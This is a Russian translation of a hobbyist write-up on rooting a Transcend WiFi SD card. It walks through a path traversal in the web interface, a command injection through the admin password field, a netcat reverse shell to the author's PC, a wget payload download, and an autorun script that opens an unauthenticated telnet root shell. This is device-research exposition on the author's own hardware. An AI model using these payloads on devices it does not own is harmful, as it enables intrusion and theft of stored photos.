Перевод немного вольный, но смысл не потерян. Я (переводчик) заинтересовался этой карточкой давно и почти сразу заказ её, сегодня забрал с почты и не могу нарадоваться, но хочется больше, чем дает Transcend, а карточка, между прочим, Linux сервер с WiFi! Очень много буковок.
С недавнего времени я стал счастливым обладателем карты памяти Transcend WiFi SD, которая позволяет мне передавать фотографии с моей «зеркалки» (которая вообще то Sony NEX, зато компактная) на любое устройство с WiFi за несколько секунд. А так как мне нравится делать фотографии и делиться с ними на лету, то SD карточка, умеющая без проводов передавать картинки на мой телефон, кажется прекрасным решением. И это было так! (хотя всё еще так). Мобильное приложение может… не, должно быть получше (зачем скачивать 7МБ картинку для просмотра, чтобы потом ЕЩЕ раз скачать её, нажав на «Скачать»?), но вообще оно делает своё дело!
Я был поражен, что столь малое устройство может хранить не только 16ГБ или даже 32ГБ, но еще и является встроенной системой, способной запускать приложения, включая веб сервер, общаться с другими устройствами через WiFi и даже создавать свою беспроводную сеть. Но хватит болтать: можем ли мы заставить это устройство делать больше?
Этот пост написан не только для собственно эксплоита, который позволяет получить root доступ (джейлбрейк), но так же расскажет о процессе исследования и нахождения багов, некоторые из которых просто тупики, а другие приводят к получению священного рута.
Готовимся к хаку
Изначально я предполагал что в карточке какой то встроенный Linux. Если это так, то расширить функционал скорее всего будет довольно просто! Но сперва надо бы взять контроль над системой в свои руки. До этого с этой карточкой я использовал только Android и iOS приложение, но было очевидно, что самый простой вариант общаться с ПК — это веб интерфейс. И следующая мысль немедленно посетила мою голову:
Если мобильные приложения такие хреновенькие, то и веб интерфейс не лучше… возможно он полон багов, которые можно использовать в своих интересах.
Как же я оказался прав!
Как только вы подсоединяетесь к веб интерфейсу (IP карточки 192.168.11.254 (у меня 253, но не суть), стандартный логин и пароль admin), вы испытываете такие же фиговые чувства, как при использовании мобильного приложения. Плохие «пользовательские ощущения», но хорошее «хакерское предвкушение». В то время как многие используют крутые инструменты для обнаружения уязвимостей, безопасность этой системы была на столько «ниочемной» что я мог найти баги, просто немного поковырявшись.
Меню «Files» выделяется среди других, и позволяет смотреть что есть на карте памяти. К сожалению, тут нельзя перейти в родительскую корневую папку карты памяти. Или позволяет? Это несомненно было бы полезно, так как вы сможем увидеть внутренности системы и получить больше информации о её работе а может быть и запустить какой нибудь код через веб интерфейс, если мы счастливчики. Мы заметили что ссылка «Parent Directory» указывает на URL(%2F это символ "/"):
http://192.168.11.254/cgi-bin/file_list.pl?dir=%2Fwww%2Fsd
Так что попробуем перейти в папку /www, через URL: http://192.168.11.254/cgi-bin/file_list.pl?dir=%2Fwww
Но, не судьба. Попытки попасть в /, /bin, /etc или любую другую директорию провалились. Эх, :( не удача. Это было бы слишком просто! Что ж, оказывается это не очень то и сложно, так как программисты не особо заботились о безопасности. Попробуем зайти так ?dir=/www/sd/../..
вроде бы это должно быть тоже самое, что и просто /
, и это сработало!
Ух, как же стыдно должно быть! Похоже что программисты сделали проверку, чтобы путь начинался с /www/sd
, но не проверяют очевидный путь попадания в родительскую папку "../". Таким вот путем мы можем исследовать любые файлы системы. Конечно, нажатия на файлы не запускают их, а только скачивают, но это уже большое дело!
После ползания по файловой системе и скачивания скриптов, не стало сюрпризом, что система использует busybox, да и много файлов являются симлинками на busybox. Хотя не все из них, как например скрипты в папке /www/cgi-bin. И они то самые интересные, так как мы можем запускать их просто указывая ссылку в браузере.
Начнем хакание
Это всё выглядит многообещающе! Теперь, когда мы имеем доступ к внутренностям системы, не смотря на то что она в режиме «только для чтения», это дает нам огромное преимущество, так как мы можем изучать её работу и смотреть на баги и дырки :)
Хождение по скрипам, в поисках багов, которые можно использовать, не отняло много времени. Все они — это Perl скрипты. Perl имеет интересную особенность при открытии файлов через вызов open(), потому как это не только открывает файлы, но запускает программы если путь до файла не путь, а shell команда, заканчивающаяся «трубой» (pipe). Как например open("cat /etc/passwd |")
. Другая особенность использования open() заключается в том, что мы можем записать в файл в любом месте или перезаписать существующий файл, так что мы можем написать свой собственный код и запустить его после этого. Давайте посмотрим, сможем ли мы использовать какие то файлы для этого.
Один файл меня заинтересовал, так как содержит вызов open() включающий пользовательскую переменную. kcard_upload.pl
содержит следующее:
Вобще то этот файл вообще не используется в веб приложении! kcard_upload.pl
скрыт от пользователей, но он всё еще есть и полностью доступен в cgi-bin
директории. Мы можем запустить его через браузер. Это двойной facepalm: иметь дырявый скрипт, которые еще и не используется! Но сможем ли мы его приспособить для своих нужд?
Просматривая код kcard_upload.pl
, я понял, что есть три проблемы делающие использования переменной $basename
затруднительным.
Во первых, $basename
на самом деле не прямой ввод пользователя, а является результатом вывода GetBasename($upfile)
. А вот $upfile
передается пользователем (в данном случае хакером). А точнее, путь к файлу, который HTML форма запрашивает для загрузки. Но если мы подставим путь, то GetBasename
вернет только имя файла на конце пути. Это делает переход по каталогам (как «хак» ../../ выше) невозможным.
Во вторых, значение в $basename
переводится в верхний регистр, т.е. что бы мы не пихнули туда, всё будет изменено, что несколько усугубляет наши планы.
Третья проблема заключается в том, что скрипт kcard_upload.pl
разрешает загружать только PNG, JPG, BMP и GIF файлы.
И это конец? Не тут то было!
Если посмотреть на код повнимательнее, то мы поймем, что хотя программисты и хотели таким способом ограничить загружаемые типы файлов, но они на самом деле проверяют только содержится ли расширение в названии файла, а не заканчивается ли файл на это самое расширение.
В дополнении, регулярное выражение на самом деле не проверяет символ точки, так как точка указывает на любой символ, кроме переноса строки. Точка должна была бы быть экранирована ""
. Я предполагаю что программисты хотели написать /.GIF$/
, но написали только /.GIF/
, таким образом мы можем обойти это ограничение, включив любой вариант из комбинации этих трех букв в любое место нашего пути, как например /hi/helPNGlo/asdf.something
. Сложно назвать это неудобством!
Так как наш путь будет всегда преобразовываться в верхний регистр, возможно мы больше не сможем вызывать системные команды (большинство из них не в верхнем регистре), но может быть мы все еще можем загружать файлы, вставив таким образом наши собственные скрипты в систему. И нас в общем то и не волнует что имена этих скриптов будут написаны большими буквами.
Наконец, если вы помните, наш путь изменяется через GetBasename()
до сохранения в переменной $basename
. GetBasename()
делить путь и берет только имя файла на конце. То есть /path/to/file.txt
превратится просто в file.txt
. Это плохо, потому как это больше не позволит нам манипулировать путем и вставлять что-то вроде "../../bin/our-malicious.script"
, так как это всегда будет заканчиваться на "our-malicious.script"
и сохраняться в DCIM/198_WIFI/
И снова здрасте, код в GetBasename()
содержит баг, который можно поэксплуатировать.
Код рассматривает два случая: пользователь вставляет путь в стиле windows с обратными слешами и пользователь вставляет путь с нормальными слешами (используется во всех OC кроме windows). Хотя правильнее сказать что такое поведение предполагается! А на самом же деле проверяется содержится ли в строке обратный слеш и тогда предполагается что это windows путь, так что строка делится обратными слешами. То есть на самом деле не проверяется состоит ли путь из обратной черты! Так что дадим следующий путь:
/эта/часть/пути/будет/вырезана/этот/путь/будет/использоваться
Так как строка содержит обратный слеш, скрипт предполагает что это путь для windows, так что окончание пути на самом деле не окончание пути (не имя файла), а вообще то просто путь. В нашем примере путь будет /этот/путь/будет/использоваться
Вуаля! Путь вроде /PNG/something/../../our-malicious.script пройдет все проверки и будет записан куда нам надо. Хорошие новости. А плохая новость — ничего из этого работать не будет. Упс! Потому как скрипт предполагает что ../DCIM/198_WIFI
существует, но скрипт запущен из /www/cgi-bin
, и это не так (правильный путь должен быть ../sd/DCIM/198_WIFI
). Пичалька, ничего с этим не поделать. Этот баг зашит в скрипт. Разработчики и не должны были уделять внимание этому, ведь скрипт не предполагалось использовать (он скрыт, помните?). Похоже что это тупик, не смотря на все наши усилия. Может кто-то предложит другое инновационное решение.
(Кроме того, форма, выводящаяся kcard_upload.pl
не вызывает саму себя, а вызывает бинарник с названием wifi_upload
, так что мы должны были сделать HTTP POST запрос самостоятельно.)
Хакаем
Но постойте! Мы уже убедились что качество кода так себе, и еще куча багов может быть. На самом деле, я не буду рассматривать большинство из них. Есть и другие «тупики» на которые я натыкался и детально не описывал в этом посте. Я подробно расскажу об одном конкретном баге, который выделяется простотой использования.
Существует много способов вызова shell команды непосредственно из perl скрипта, и если разработчики подошли к этому легкомысленно, то возможно мы можем запускать собственные shell команды! Использование system()
— это один из способов запуска shell кода в perl скрипте. Оказалось что system()
используется довольно часто в .pl и .cgi файлах, но их аргументы зашиты в код, так что особо не попользоваться. Другой способ исполнения shell кода в perl — это использование qx{}
выражения, но это вообще не используется. В любом случае, третий путь — это использование обратных кавычек вокруг кода, что эквивалентно использованию qx{}
. И тут такого много, они подставляют данные, вводимые пользователем в их shell код. Замечательно! Т.е. их shell код смешивается с нашим вводом, так что это можно использовать для запуска нашего собственного кода.
Вот одна замечательная строчка в kcard_save_config_insup.pl
, которая прям как подарок на Новый год:
Это выражение запускает любую команду, обозначенную в переменной $update_auth
, с аргументами $LOGIN_USR
и $LOGIN_PWD
. Оба аргумента приходят напрямую из формы, то есть эти аргументы полностью подвластны нам. Никаких проверок на ввод не делается! Это форма, которая отображается когда вы заходите в веб интерфейс и нажимаете на «Settings». Вы можете получить к этому доступ прямо из строки браузера по адресу http://192.168.11.254/kcard_edit_config_insup.pl
. Это логин и пароль для админа. Это значит, что подбирая особый пароль, мы может выполнить код! Во-первых, пароль должен содержать точку с запятой, чтобы запустить новую shell команду после выполнения команды $update_path
. Затем идет любой код, какой мы захотим. И наконец, пароль должен заканчиваться символом # (начало комментария), чтобы всё что идет после было игнорировано > /mnt/mtd/config/ia.passwd
.
Это всё легко проверить, выбран например такой пароль: admin; echo haxx > /tmp/hi.txt #
Форма, на самом деле, проводить некоторые здравые проверки и не допускает длинных паролей и странных символов. Учитывая тот факт, что проверки сделаны на javascript, а не на стороне сервера, мы можем очень просто их проигнорировать. Я использовал расширение для Chrome Form Editor чтобы избавиться от этой проблемы.
После отправки формы, мы легко можем убедится что эксплоит эффективен, зайдя в папку /tmp
используя хаки, что описаны выше. Мы даже можем скачать файл и проверить что его содержимое верное.
Не забудте восстановить ваш пароль «admin», иначе придется сбрасывать настройки после использования этой дыры. (восстановление не коснется ваших фотографий, вроде бы).
А где же root?
Теперь мы умеем не только читать любой файл в файловой системе, но еще и выполнять shell код и записывать в файлы. Тем не менее, у нас всё еще нет нормального доступа к системе.
Просматривая содержимое папки /usr/bin
вы можем сказать, что там много полезностей для нас чтобы создать обратный shell: netcat (nc), telnet и другие. Обратный shell работает ожидая входящие соединения на определенный порт нашего компьютера, и имеет целевую систему, соединенную с ним, пока запущен shell который берет ввод с этого соединения и выводить всё через это соединение (простите, я сам запутался). Есть много путей сделать это, но самый простой — это использовать Netcat:
nc 192.168.11.11 1337 -e /bin/bash
Это заставит netcat подключится к нашему ПК (у которого IP 192.168.11.11) на порту 1337 и прокинуть bash через него. Естественно, чтобы запустить это, надо использовать дырку описанную выше, «изменяя» пароль на admin; nc 192.168.11.11 1337 -e /bin/bash #
. И к сожалению это опять не работает. Так что попробуем другие трюки с telnet или еще каким софтом. Так почему же не работает? Симлинки для nc, telnet и другого в /usr/bin
, и синтаксис команды верный! В общем эти инструменты были отключены в busybox который находится на нашей любимой SD карточке со встроенным Linux. Пичалька. Мы можем проверить это, попытавшись запустить telnet или netcat и перенаправив stdout и stderr в /tmp/hi.txt, вот такой командой: nc 192.168.11.11 1337 -e /bin/bash &> /tmp/hi.txt
. Загрузив hi.txt, мы увидим в его содержимом: nc: applet not found
, что означает отключенный nc. Вот ведь засада! Так что же, мы ограничены в запуске команд через эту дырявую форму и при этом не имеем сетевых утилит? Ну конечно же нет! :)
К счастью, wget
используется некоторыми transcend-овыми скриптами, и эта утилита включена. И это позволит нам скачать нафаршированный busybox :))) Я слишком ленивый, чтобы собирать самостоятельно, так что я взял уже готовую сборку busybox с http://busybox.net/downloads/binaries/latest/, положил busybox-armv5l на мой локальный веб сервер и просто запустил wget http://192.168.11.11/busybox-armv5l
используя ту дырявую форму, чтобы загрузить это на карту памяти в /www/cgi-bin
. А так же я выполнил chmod a+x /www/cgi-bin/busybox-armv5l
чтобы быть наверняка уверенным, что он потом запустится.
Наконец то я получил свой удаленный shell! Мой компьютер слушает порт 1337 после запуска nc -vv -l 1337
, и SD карточка открывает соединение на этот порт /www/cgi-bin/busybox-armv5l nc 192.168.11.11 1337 -e /bin/bash
. А так как busybox имеет все утилиты, мы можем запустить /www/cgi-bin/busybox-armv5l команда
через полученный shell чтобы получить доступ ко богатому набору команд! Для примера, /www/cgi-bin/busybox-armv5l id
расскажет нам, что мы уже под root-ом!
Еще больше хакерства
В случае, если вы всё же забыли пароль и требуется восстановить его, вы можете сбросить настройки SD карты (есть специальная картинка, скидывающая настройки карты после перезагрузки). Но, вы можете восстановить пароль из-за крайне беспечной ошибке в одном из «скрытых» perl скриптов, а именно kcard_login.pl
, который делает самую странную процедуру авторизации, когда либо существовавшую во вселенной. Она извлекает пароль из файла wsd.conf и затем предлагает через javascript коде проверить его на стороне пользовательского браузера. Да да, вы всё верно прочитали. Проверка сделана на javascript!
Это значит, что всё что вам нужно сделать для восстановления пароля это зайти на 192.168.11.254/cgi-bin/kcard_login.pl и посмотреть исходный код страницы. Пароль будет прямо там.
Лицорука!
А еще спасибо за дружелюбный хакерский бекдор
Один из скриптов (rcS.p rcS), который запускается при старте, автоматически выполняет autorun_fu.sh
или autorun.sh
если они есть в корне карты памяти. Это облегчит дальнейшее улучшение и взлом. Спасибо, Transcend!
У меня есть вот такой скрипт (с названием autorun.sh
), вместе с busybox-armv5l в корне карты памяти, так что я могу просто заходить через telnet
в систему:
cp /mnt/sd/busybox-armv5l /sbin/busybox
chmod a+x /sbin/busybox
/sbin/busybox telnetd -l /bin/bash &
Так что вы можете зайти на карточку сразу после включения и окончания загрузки:
Удачного хакинга!
Надеюсь перевод понравился, замечания и предложения пожалуйста в личку, никто не идеален. А еще рекомендую погуглить keyasic
Автор: SovGVD